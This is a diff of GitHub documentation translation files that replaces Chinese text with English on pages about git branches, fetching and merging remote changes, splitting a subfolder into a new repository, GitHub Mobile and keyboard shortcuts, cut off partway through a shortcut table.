-如果您的拉取请求不符合某些要求，分支保护设置可能会阻止合并。 例如，您需要一定数量的批准审查或特定团队的批准审查。 更多信息请参阅“[关于受保护分支](/github/administering-a-repository/about-protected-branches)”。 +Branch protection settings may block merging if your pull request does not meet certain requirements. For example, you need a certain number of approving reviews or an approving review from a specific team. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." -### 删除分支 +### Delete your branch -合并拉取请求后，删除您的分支。 这表明分支的工作已经完成，可防止您或其他人意外使用旧分支。 更多信息请参阅“[删除和恢复拉取请求中的分支](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)”。 +After you merge your pull request, delete your branch. This indicates that the work on the branch is complete and prevents you or others from accidentally using old branches. For more information, see "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)." -不要担心丢失信息。 您的拉取请求和提交历史记录不会被删除。 如有必要，您可以随时恢复已删除的分支或恢复拉取请求。 +Don't worry about losing information. Your pull request and commit history will not be deleted. You can always restore your deleted branch or revert your pull request if needed. diff --git a/translations/zh-CN/content/get-started/using-git/about-git.md b/translations/zh-CN/content/get-started/using-git/about-git.md index efae4cb388..f94c074ced 100644 --- a/translations/zh-CN/content/get-started/using-git/about-git.md +++ b/translations/zh-CN/content/get-started/using-git/about-git.md @@ -34,7 +34,7 @@ In a distributed version control system, every developer has a full copy of the - Businesses using Git can break down communication barriers between teams and keep them focused on doing their best work. Plus, Git makes it possible to align experts across a business to collaborate on major projects. -## 关于仓库 +## About repositories A repository, or Git project, encompasses the entire collection of files and folders associated with a project, along with each file's revision history. The file history appears as snapshots in time called commits. The commits can be organized into multiple lines of development called branches. Because Git is a DVCS, repositories are self-contained units and anyone who has a copy of the repository can access the entire codebase and its history. Using the command line or other ease-of-use interfaces, a Git repository also allows for: interaction with the history, cloning the repository, creating branches, committing, merging, comparing changes across versions of code, and more. @@ -129,7 +129,7 @@ git push --set-upstream origin main ### Example: contribute to an existing branch on {% data variables.product.product_name %} -This example assumes that you already have a project called `repo` already on the machine and that a new branch has been pushed to {% data variables.product.product_name %} since the last time changes were made locally. +This example assumes that you already have a project called `repo` on the machine and that a new branch has been pushed to {% data variables.product.product_name %} since the last time changes were made locally. ```bash # change into the `repo` directory @@ -162,9 +162,9 @@ There are two primary ways people collaborate on {% data variables.product.produ With a shared repository, individuals and teams are explicitly designated as contributors with read, write, or administrator access. This simple permission structure, combined with features like protected branches, helps teams progress quickly when they adopt {% data variables.product.product_name %}. -For an open source project, or for projects to which anyone can contribute, managing individual permissions can be challenging, but a fork and pull model allows anyone who can view the project to contribute. A fork is a copy of a project under an developer's personal account. Every developer has full control of their fork and is free to implement a fix or new feature. Work completed in forks is either kept separate, or is surfaced back to the original project via a pull request. There, maintainers can review the suggested changes before they're merged. For more information, see "[Contributing to projects](/get-started/quickstart/contributing-to-projects)." +For an open source project, or for projects to which anyone can contribute, managing individual permissions can be challenging, but a fork and pull model allows anyone who can view the project to contribute. A fork is a copy of a project under a developer's personal account. Every developer has full control of their fork and is free to implement a fix or a new feature. Work completed in forks is either kept separate, or is surfaced back to the original project via a pull request. There, maintainers can review the suggested changes before they're merged. For more information, see "[Contributing to projects](/get-started/quickstart/contributing-to-projects)." -## 延伸阅读 +## Further reading The {% data variables.product.product_name %} team has created a library of educational videos and guides to help users continue to develop their skills and build better software. diff --git a/translations/zh-CN/content/get-started/using-git/dealing-with-non-fast-forward-errors.md b/translations/zh-CN/content/get-started/using-git/dealing-with-non-fast-forward-errors.md index 3717e8458b..46e0c1673e 100644 --- a/translations/zh-CN/content/get-started/using-git/dealing-with-non-fast-forward-errors.md +++ b/translations/zh-CN/content/get-started/using-git/dealing-with-non-fast-forward-errors.md @@ -1,6 +1,6 @@ --- -title: 处理非快进错误 -intro: 有时，Git 无法在不丢失提交的情况下对远程仓库进行更改。 发生此情况时，推送会被拒绝。 +title: Dealing with non-fast-forward errors +intro: 'Sometimes, Git can''t make your change to a remote repository without losing commits. When this happens, your push is refused.' redirect_from: - /articles/dealing-with-non-fast-forward-errors - /github/using-git/dealing-with-non-fast-forward-errors @@ -11,25 +11,21 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: 非快进错误 +shortTitle: Non-fast-forward error --- - -如果其他人已推送与您相同的分支，Git 将无法推送您的更改： +If another person has pushed to the same branch as you, Git won't be able to push your changes: ```shell -$ git push origin master +$ git push origin main > To https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git -> ! [rejected] master -> master（非快进） -> 错误：无法推送某些 ref 至 'https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git' -> 为防止丢失历史记录，非快进更新已被拒绝 -> 再次推送前合并远程更改（例如： ‘git pull’）。 [rejected] main -> main (non-fast-forward) +> ! [rejected] main -> main (non-fast-forward) > error: failed to push some refs to 'https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git' > To prevent you from losing history, non-fast-forward updates were rejected -> Merge the remote changes (e.g. 'git pull') before pushing again. 请参阅 -> “git 推送帮助”部分的“快进说明”以了解详细信息。 +> Merge the remote changes (e.g. 'git pull') before pushing again. See the +> 'Note about fast-forwards' section of 'git push --help' for details. ``` -通过[获取和合并](/github/getting-started-with-github/getting-changes-from-a-remote-repository)远程分支上所做更改与本地所做更改，您可以解决此问题： +You can fix this by [fetching and merging](/github/getting-started-with-github/getting-changes-from-a-remote-repository) the changes made on the remote branch with the changes that you have made locally: ```shell $ git fetch origin @@ -38,7 +34,7 @@ $ git merge origin YOUR_BRANCH_NAME # Merges updates made online with your local work ``` -或者，可以只是使用 `git pull` 一次性执行两个命令： +Or, you can simply use `git pull` to perform both commands at once: ```shell $ git pull origin YOUR_BRANCH_NAME diff --git a/translations/zh-CN/content/get-started/using-git/getting-changes-from-a-remote-repository.md b/translations/zh-CN/content/get-started/using-git/getting-changes-from-a-remote-repository.md index c3de36b317..209c0beb0e 100644 --- a/translations/zh-CN/content/get-started/using-git/getting-changes-from-a-remote-repository.md +++ b/translations/zh-CN/content/get-started/using-git/getting-changes-from-a-remote-repository.md @@ -1,6 +1,6 @@ --- -title: 从远程仓库获取更改 -intro: 您可以使用常用 Git 命令访问远程仓库。 +title: Getting changes from a remote repository +intro: You can use common Git commands to access remote repositories. redirect_from: - /articles/fetching-a-remote/ - /articles/getting-changes-from-a-remote-repository @@ -12,71 +12,76 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: 从远程获取更改 +shortTitle: Get changes from a remote --- +## Options for getting changes -## 获取更改的选项 +These commands are very useful when interacting with [a remote repository](/github/getting-started-with-github/about-remote-repositories). `clone` and `fetch` download remote code from a repository's remote URL to your local computer, `merge` is used to merge different people's work together with yours, and `pull` is a combination of `fetch` and `merge`. -与[远程仓库](/github/getting-started-with-github/about-remote-repositories)交互时，这些命令非常有用。 `clone` 和 `fetch` 用于从仓库的远程 URL 将远程代码下载到您的本地计算机，`merge` 用于将其他人的工作与您的工作合并在一起，而 `pull` 是 `fetch` 和 `merge` 的组合。 +## Cloning a repository -## 克隆仓库 - -要获取其他用户仓库的完整副本，请使用 `git clone`，如下所示： +To grab a complete copy of another user's repository, use `git clone` like this: ```shell $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git -# 将仓库克隆到您的计算机 +# Clones a repository to your computer ``` -克隆仓库时，有[几个不同的 URL](/github/getting-started-with-github/about-remote-repositories)可供选择。 登录到 {% data variables.product.prodname_dotcom %} 后，可在仓库详细信息下面找到这些 URL： +You can choose from [several different URLs](/github/getting-started-with-github/about-remote-repositories) when cloning a repository. While logged in to {% data variables.product.prodname_dotcom %}, these URLs are available below the repository details: -![远程 URL 列表](/assets/images/help/repository/remotes-url.png) +![Remote URL list](/assets/images/help/repository/remotes-url.png) -运行 `git clone` 时，将发生以下操作： -- 创建名为 `repo` 的文件夹 -- 将它初始化为 Git 仓库 -- 创建名为 `origin` 的远程仓库，指向用于克隆的 URL -- 将所有的仓库文件和提交下载到那里 -- 默认分支已检出 +When you run `git clone`, the following actions occur: +- A new folder called `repo` is made +- It is initialized as a Git repository +- A remote named `origin` is created, pointing to the URL you cloned from +- All of the repository's files and commits are downloaded there +- The default branch is checked out -对于远程仓库中的每个 `foo` 分支，在本地仓库中创建相应的远程跟踪分支 `refs/remotes/origin/foo`。 通常可以将此类远程跟踪分支名称缩写为 `origin/foo`。 +For every branch `foo` in the remote repository, a corresponding remote-tracking branch +`refs/remotes/origin/foo` is created in your local repository. You can usually abbreviate +such remote-tracking branch names to `origin/foo`. -## 从远程仓库获取更改 +## Fetching changes from a remote repository -使用 `git fetch` 可检索其他人完成的新工作。 从仓库获取将会获取所有新的远程跟踪分支和标记，但*不会*将这些更改合并到您自己的分支中。 +Use `git fetch` to retrieve new work done by other people. Fetching from a repository grabs all the new remote-tracking branches and tags *without* merging those changes into your own branches. -如果已经有一个本地仓库包含为所需项目设置的远程 URL，您可以在终端使用 `git fetch *remotename*` 获取所有新信息： +If you already have a local repository with a remote URL set up for the desired project, you can grab all the new information by using `git fetch *remotename*` in the terminal: ```shell $ git fetch remotename -# 获取远程仓库的更新 +# Fetches updates made to a remote repository ``` -否则，您可以随时添加新的远程，然后获取。 更多信息请参阅“[管理远程仓库](/github/getting-started-with-github/managing-remote-repositories)”。 +Otherwise, you can always add a new remote and then fetch. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." -## 合并更改到本地分支 +## Merging changes into your local branch -合并可将您的本地更改与其他人所做的更改组合起来。 +Merging combines your local changes with changes made by others. -通常将远程跟踪分支（即从远程仓库获取的分支）与您的本地分支进行合并： +Typically, you'd merge a remote-tracking branch (i.e., a branch fetched from a remote repository) with your local branch: ```shell $ git merge remotename/branchname -# 将在线更新与您的本地工作进行合并 +# Merges updates made online with your local work ``` -## 从远程仓库拉取更改 +## Pulling changes from a remote repository -`git pull` 是在同一个命令中完成 `git fetch` 和 `git merge` 的便捷方式。 +`git pull` is a convenient shortcut for completing both `git fetch` and `git merge `in the same command: ```shell $ git pull remotename branchname -# 获取在线更新并将其与您的本地工作进行合并 +# Grabs online updates and merges them with your local work ``` -由于 `pull` 会对检索到的更改执行合并，因此应确保在运行 `pull` 命令之前提交您的本地工作。 If you run into \[a merge conflict\](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line you cannot resolve, or if you decide to quit the merge, you can use `git merge --abort` to take the branch back to where it was in before you pulled. +Because `pull` performs a merge on the retrieved changes, you should ensure that +your local work is committed before running the `pull` command. If you run into +[a merge conflict](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line) +you cannot resolve, or if you decide to quit the merge, you can use `git merge --abort` +to take the branch back to where it was in before you pulled. -## 延伸阅读 +## Further reading -- _Pro Git_ 手册中的[“使用远程仓库”](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes){% ifversion fpt or ghec %} -- “[连接问题故障排除](/articles/troubleshooting-connectivity-problems)”{% endif %} +- ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)"{% ifversion fpt or ghec %} +- "[Troubleshooting connectivity problems](/articles/troubleshooting-connectivity-problems)"{% endif %} diff --git a/translations/zh-CN/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md b/translations/zh-CN/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md index b9c8c27d33..f070c323c5 100644 --- a/translations/zh-CN/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md +++ b/translations/zh-CN/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md @@ -1,81 +1,90 @@ --- -title: 将子文件夹拆分成新仓库 +title: Splitting a subfolder out into a new repository redirect_from: - /articles/splitting-a-subpath-out-into-a-new-repository/ - /articles/splitting-a-subfolder-out-into-a-new-repository - /github/using-git/splitting-a-subfolder-out-into-a-new-repository - /github/getting-started-with-github/splitting-a-subfolder-out-into-a-new-repository - /github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository -intro: 您可以将 Git 仓库内的文件夹变为全新的仓库。 +intro: You can turn a folder within a Git repository into a brand new repository. versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' -shortTitle: 拆分子文件夹 +shortTitle: Splitting a subfolder --- - -如果您创建仓库的新克隆副本，则将文件夹拆分为单独的仓库时不会丢失任何 Git 历史记录或更改。 +If you create a new clone of the repository, you won't lose any of your Git history or changes when you split a folder into a separate repository. {% data reusables.command_line.open_the_multi_os_terminal %} -2. 将当前工作目录更改为您要创建新仓库的位置。 -3. 克隆包含该子文件夹的仓库。 - ```shell - $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME - ``` -4. 将当前工作目录更改为您克隆的仓库。 - ```shell - $ cd REPOSITORY-NAME - ``` + +2. Change the current working directory to the location where you want to create your new repository. + +4. Clone the repository that contains the subfolder. + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME + ``` + +4. Change the current working directory to your cloned repository. + ```shell + $ cd REPOSITORY-NAME + ``` + 5. To filter out the subfolder from the rest of the files in the repository, run [`git filter-repo`](https://github.com/newren/git-filter-repo), supplying this information: - - `FOLDER-NAME`: The folder within your project where you'd like to create a separate repository. + - `FOLDER-NAME`: The folder within your project where you'd like to create a separate repository. - {% windows %} + {% windows %} - {% tip %} + {% tip %} - **提示：**Windows 用户应使用 `/` 来分隔文件夹。 + **Tip:** Windows users should use `/` to delimit folders. - {% endtip %} + {% endtip %} - {% endwindows %} + {% endwindows %} + + ```shell + $ git filter-repo --path FOLDER-NAME1/ --path FOLDER-NAME2/ + # Filter the specified branch in your directory and remove empty commits + > Rewrite 48dc599c80e20527ed902928085e7861e6b3cbe6 (89/89) + > Ref 'refs/heads/BRANCH-NAME' was rewritten + ``` + + The repository should now only contain the files that were in your subfolder(s). +6. [Create a new repository](/articles/creating-a-new-repository/) on {% data variables.product.product_name %}. + +7. At the top of your new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) + + {% tip %} + + **Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." + + {% endtip %} + +8. Check the existing remote name for your repository. For example, `origin` or `upstream` are two common choices. + ```shell + $ git remote -v + > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (push) + ``` + +9. Set up a new remote URL for your new repository using the existing remote name and the remote repository URL you copied in step 7. + ```shell + git remote set-url origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git + ``` + +10. Verify that the remote URL has changed with your new repository name. ```shell - $ git filter-repo --path FOLDER-NAME1/ --path FOLDER-NAME2/ - # Filter the specified branch in your directory and remove empty commits - > Rewrite 48dc599c80e20527ed902928085e7861e6b3cbe6 (89/89) - > Ref 'refs/heads/BRANCH-NAME' was rewritten + $ git remote -v + # Verify new remote URL + > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (push) ``` - The repository should now only contain the files that were in your subfolder(s). -6. 在 {% data variables.product.product_name %} 上[创建新仓库](/articles/creating-a-new-repository/)。 -7. At the top of your new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. ![创建远程仓库 URL 字段](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) - - {% tip %} - - **提示：** 有关 HTTPS 与 SSH URL 之间的差异，请参阅“[关于远程仓库](/github/getting-started-with-github/about-remote-repositories)” - - {% endtip %} - -8. 检查仓库现有的远程名称。 例如，`源仓库`或`上游仓库`是两种常见选择。 - ```shell - $ git remote -v - > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (fetch) - > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (push) - ``` - -9. 使用现有的远程名称和您在步骤 7 中复制的远程仓库 URL 为新仓库设置新的远程 URL。 - ```shell - git remote set-url origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git - ``` -10. 使用新仓库名称验证远程 URL 是否已更改。 - ```shell - $ git remote -v - # Verify new remote URL - > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (fetch) - > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (push) - ``` -11. 将您的更改推送到 {% data variables.product.product_name %} 上的新仓库。 - ```shell - git push -u origin BRANCH-NAME - ``` +11. Push your changes to the new repository on {% data variables.product.product_name %}. + ```shell + git push -u origin BRANCH-NAME + ``` diff --git a/translations/zh-CN/content/get-started/using-github/github-for-mobile.md b/translations/zh-CN/content/get-started/using-github/github-for-mobile.md index 13df5df5fc..c1331d6da4 100644 --- a/translations/zh-CN/content/get-started/using-github/github-for-mobile.md +++ b/translations/zh-CN/content/get-started/using-github/github-for-mobile.md @@ -1,6 +1,6 @@ --- -title: 手机版 GitHub -intro: '从移动设备对 {% data variables.product.product_name %} 上的工作进行分类、协作和管理。' +title: GitHub for mobile +intro: 'Triage, collaborate, and manage your work on {% data variables.product.product_name %} from your mobile device.' versions: fpt: '*' ghes: '*' @@ -11,81 +11,80 @@ redirect_from: - /github/getting-started-with-github/github-for-mobile - /github/getting-started-with-github/using-github/github-for-mobile --- - {% data reusables.mobile.ghes-release-phase %} -## 关于 {% data variables.product.prodname_mobile %} +## About {% data variables.product.prodname_mobile %} {% data reusables.mobile.about-mobile %} -{% data variables.product.prodname_mobile %} 为您提供随时随地快速高效使用 {% data variables.product.product_name %} 的方式。 {% data variables.product.prodname_mobile %} 是通过可信的第一方客户端应用程序访问 {% data variables.product.product_name %} 数据的安全可靠方式。 +{% data variables.product.prodname_mobile %} gives you a way to do high-impact work on {% data variables.product.product_name %} quickly and from anywhere. {% data variables.product.prodname_mobile %} is a safe and secure way to access your {% data variables.product.product_name %} data through a trusted, first-party client application. -通过 {% data variables.product.prodname_mobile %}，您可以： -- 管理、分类和清除通知 -- 阅读、审查及协作处理问题和拉取请求 -- 搜索、浏览用户、仓库和组织以及与之交互 -- 当有人提及您的用户名时收到推送通知 +With {% data variables.product.prodname_mobile %} you can: +- Manage, triage, and clear notifications +- Read, review, and collaborate on issues and pull requests +- Search for, browse, and interact with users, repositories, and organizations +- Receive a push notification when someone mentions your username -有关 {% data variables.product.prodname_mobile %} 通知的更多信息，请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-for-mobile)”。 +For more information about notifications for {% data variables.product.prodname_mobile %}, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-for-mobile)." -## 安装 {% data variables.product.prodname_mobile %} +## Installing {% data variables.product.prodname_mobile %} -要安装 Android 或 iOS 版 {% data variables.product.prodname_mobile %}，请参阅 [{% data variables.product.prodname_mobile %}](https://github.com/mobile)。 +To install {% data variables.product.prodname_mobile %} for Android or iOS, see [{% data variables.product.prodname_mobile %}](https://github.com/mobile). -## 管理帐户 +## Managing accounts -您可以使用 {% data variables.product.prodname_dotcom_the_website %} 上的一个用户帐户和 {% data variables.product.prodname_ghe_server %} 上的一个用户帐户同时登录移动版。 +You can be simultaneously signed into mobile with one user account on {% data variables.product.prodname_dotcom_the_website %} and one user account on {% data variables.product.prodname_ghe_server %}. {% data reusables.mobile.push-notifications-on-ghes %} -如果您需要通过 VPN 访问企业，{% data variables.product.prodname_mobile %} 可能不适用于您的企业。 +{% data variables.product.prodname_mobile %} may not work with your enterprise if you're required to access your enterprise over VPN. -### 基本要求 +### Prerequisites -您必须在设备上安装 {% data variables.product.prodname_mobile %} 1.4 或更高版本，才能使用 {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}。 +You must install {% data variables.product.prodname_mobile %} 1.4 or later on your device to use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}. -要同时使用 {% data variables.product.prodname_mobile %} 与 {% data variables.product.prodname_ghe_server %}，{% data variables.product.product_location %} 必须为 3.0 或更高版本，并且企业所有者必须为企业启用移动版支持。 For more information, see {% ifversion ghes %}"[Release notes](/enterprise-server/admin/release-notes)" and {% endif %}"[Managing {% data variables.product.prodname_mobile %} for your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/managing-github-for-mobile-for-your-enterprise){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %} +To use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, {% data variables.product.product_location %} must be version 3.0 or greater, and your enterprise owner must enable mobile support for your enterprise. For more information, see {% ifversion ghes %}"[Release notes](/enterprise-server/admin/release-notes)" and {% endif %}"[Managing {% data variables.product.prodname_mobile %} for your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/managing-github-for-mobile-for-your-enterprise){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %} -在 {% data variables.product.prodname_mobile %} 与 {% data variables.product.prodname_ghe_server %} 搭配使用的测试期间，您必须使用 {% data variables.product.prodname_dotcom_the_website %} 上的用户帐户登录。 +During the beta for {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, you must be signed in with a user account on {% data variables.product.prodname_dotcom_the_website %}. -### 添加、切换或登出账户 +### Adding, switching, or signing out of accounts -您可以使用 {% data variables.product.product_location %} 上的帐户登录移动版。 在应用程序的底部，长按 {% octicon "person" aria-label="The person icon" %} **Profile（个人资料）**，然后点击 {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account（添加企业帐户）**。 按照提示登录。 +You can sign into mobile with a user account on {% data variables.product.product_location %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in. -使用 {% data variables.product.product_location %} 上的帐户登录移动版后，您可以在该帐户与 {% data variables.product.prodname_dotcom_the_website %} 帐户之间切换。 在应用程序的底部，长按 {% octicon "person" aria-label="The person icon" %} **Profile（个人资料）**，然后点击要切换到的帐户。 +After you sign into mobile with a user account on {% data variables.product.product_location %}, you can switch between the account and your account on {% data variables.product.prodname_dotcom_the_website %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to. -如果您不再需要从 {% data variables.product.prodname_mobile %} 访问 {% data variables.product.product_location %} 帐户的数据，您可以登出帐户。 在应用程序的底部，长按 {% octicon "person" aria-label="The person icon" %} **Profile（个人资料）**，向左滑动要登出的帐户，然后点击 **Sign out（登出）**。 +If you no longer need to access data for your user account on {% data variables.product.product_location %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**. -## {% data variables.product.prodname_mobile %} 支持的语言 +## Supported languages for {% data variables.product.prodname_mobile %} -{% data variables.product.prodname_mobile %} 支持以下语言。 +{% data variables.product.prodname_mobile %} is available in the following languages. -- 英语 -- 日语 -- 巴西葡萄牙语 -- 简体中文 -- 西班牙语 +- English +- Japanese +- Brazilian Portuguese +- Simplified Chinese +- Spanish -如果将设备上的语言配置为受支持的语言，则 {% data variables.product.prodname_mobile %} 默认为该语言。 您可以在 {% data variables.product.prodname_mobile %} 的 **Settings（设置）**菜单中更改 {% data variables.product.prodname_mobile %} 的语言。 +If you configure the language on your device to a supported language, {% data variables.product.prodname_mobile %} will default to the language. You can change the language for {% data variables.product.prodname_mobile %} in {% data variables.product.prodname_mobile %}'s **Settings** menu. -## 管理 iOS 上 {% data variables.product.prodname_mobile %} 的通用链接 +## Managing Universal Links for {% data variables.product.prodname_mobile %} on iOS -{% data variables.product.prodname_mobile %} 自动启用 iOS 的通用链接。 当您点击任何 {% data variables.product.product_name %} 链接时，目标 URL 都会在 {% data variables.product.prodname_mobile %} 中打开，而不是在 Safari 中打开。 更多信息请参阅 Apple Developer 网站上的[通用链接](https://developer.apple.com/ios/universal-links/)。 +{% data variables.product.prodname_mobile %} automatically enables Universal Links for iOS. When you tap any {% data variables.product.product_name %} link, the destination URL will open in {% data variables.product.prodname_mobile %} instead of Safari. For more information, see [Universal Links](https://developer.apple.com/ios/universal-links/) on the Apple Developer site. -要禁用通用链接，长按任意 {% data variables.product.product_name %} 链接，然后点击 **Open（打开）**。 以后每次点击 {% data variables.product.product_name %} 链接时，目标地址将在 Safari 中打开，而不是在 {% data variables.product.prodname_mobile %} 中打开。 +To disable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open**. Every time you tap a {% data variables.product.product_name %} link in the future, the destination URL will open in Safari instead of {% data variables.product.prodname_mobile %}. -要重新启用通用链接，长按任意 {% data variables.product.product_name %} 链接，然后点击 **Open in {% data variables.product.prodname_dotcom %}（在 GitHub 中打开）**。 +To re-enable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open in {% data variables.product.prodname_dotcom %}**. -## 分享反馈 +## Sharing feedback -如果您发现 {% data variables.product.prodname_mobile %} 中的漏洞，可以发送电子邮件到 mobilefeedback@github.com 联系我们。 +If you find a bug in {% data variables.product.prodname_mobile %}, you can email us at mobilefeedback@github.com. You can submit feature requests or other feedback for {% data variables.product.prodname_mobile %} on [{% data variables.product.prodname_discussions %}](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Mobile+Feedback%22). -## 选择退出 iOS 的测试版 +## Opting out of beta releases for iOS -如果您正在使用 TestFlight 参加 iOS 版 {% data variables.product.prodname_mobile %} 的测试，可以随时退出。 +If you're testing a beta release of {% data variables.product.prodname_mobile %} for iOS using TestFlight, you can leave the beta at any time. -1. 在 iOS 设备上，打开 TestFlight app。 -2. 在 "Apps" 下，点击 **{% data variables.product.prodname_dotcom %}**。 -3. 在页面底部，点击 **Stop Testing（停止测试）**。 +1. On your iOS device, open the TestFlight app. +2. Under "Apps", tap **{% data variables.product.prodname_dotcom %}**. +3. At the bottom of the page, tap **Stop Testing**. diff --git a/translations/zh-CN/content/get-started/using-github/keyboard-shortcuts.md b/translations/zh-CN/content/get-started/using-github/keyboard-shortcuts.md index cae3a320d8..bc0dfabdb6 100644 --- a/translations/zh-CN/content/get-started/using-github/keyboard-shortcuts.md +++ b/translations/zh-CN/content/get-started/using-github/keyboard-shortcuts.md @@ -1,6 +1,6 @@ --- -title: 键盘快捷键 -intro: '几乎 {% data variables.product.prodname_dotcom %} 上的每一页都有键盘快捷键，可以更快地执行操作。' +title: Keyboard shortcuts +intro: 'Nearly every page on {% data variables.product.prodname_dotcom %} has a keyboard shortcut to perform actions faster.' redirect_from: - /articles/using-keyboard-shortcuts/ - /categories/75/articles/ @@ -14,211 +14,209 @@ versions: ghae: '*' ghec: '*' --- +## About keyboard shortcuts -## 关于键盘快捷键 +Typing ? on {% data variables.product.prodname_dotcom %} brings up a dialog box that lists the keyboard shortcuts available for that page. You can use these keyboard shortcuts to perform actions across the site without using your mouse to navigate. -Typing ? on {% data variables.product.prodname_dotcom %} brings up a dialog box that lists the keyboard shortcuts available for that page. 您可以使用这些键盘快捷键对站点执行操作，而无需使用鼠标导航。 +{% if keyboard-shortcut-accessibility-setting %} +You can disable character key shortcuts, while still allowing shortcuts that use modifier keys, in your accessibility settings. For more information, see "[Managing accessibility settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings)."{% endif %} -下面是一些可用键盘快捷键的列表。 +Below is a list of some of the available keyboard shortcuts. {% if command-palette %} The {% data variables.product.prodname_command_palette %} also gives you quick access to a wide range of actions, without the need to remember keyboard shortcuts. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %} -## 站点快捷键 +## Site wide shortcuts -| 键盘快捷键 | 描述 | -| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| s 或 / | 聚焦于搜索栏。 更多信息请参阅“[关于在 {% data variables.product.company_short %} 上搜索](/search-github/getting-started-with-searching-on-github/about-searching-on-github)”。 | -| g n | 转到您的通知。 更多信息请参阅{% ifversion fpt or ghes or ghae or ghec %}"[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}“[关于通知](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}”。 | -| esc | 当聚焦于用户、议题或拉取请求悬停卡时，关闭悬停卡并重新聚焦于悬停卡所在的元素 | +| Keyboard shortcut | Description +|-----------|------------ +|s or / | Focus the search bar. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." +|g n | Go to your notifications. For more information, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}." +|esc | When focused on a user, issue, or pull request hovercard, closes the hovercard and refocuses on the element the hovercard is in +{% if command-palette %}|controlk or commandk | Opens the {% data variables.product.prodname_command_palette %}. If you are editing Markdown text, open the command palette with Ctlaltk or ⌘optionk. For more information, see "[{% data variables.product.prodname_command_palette 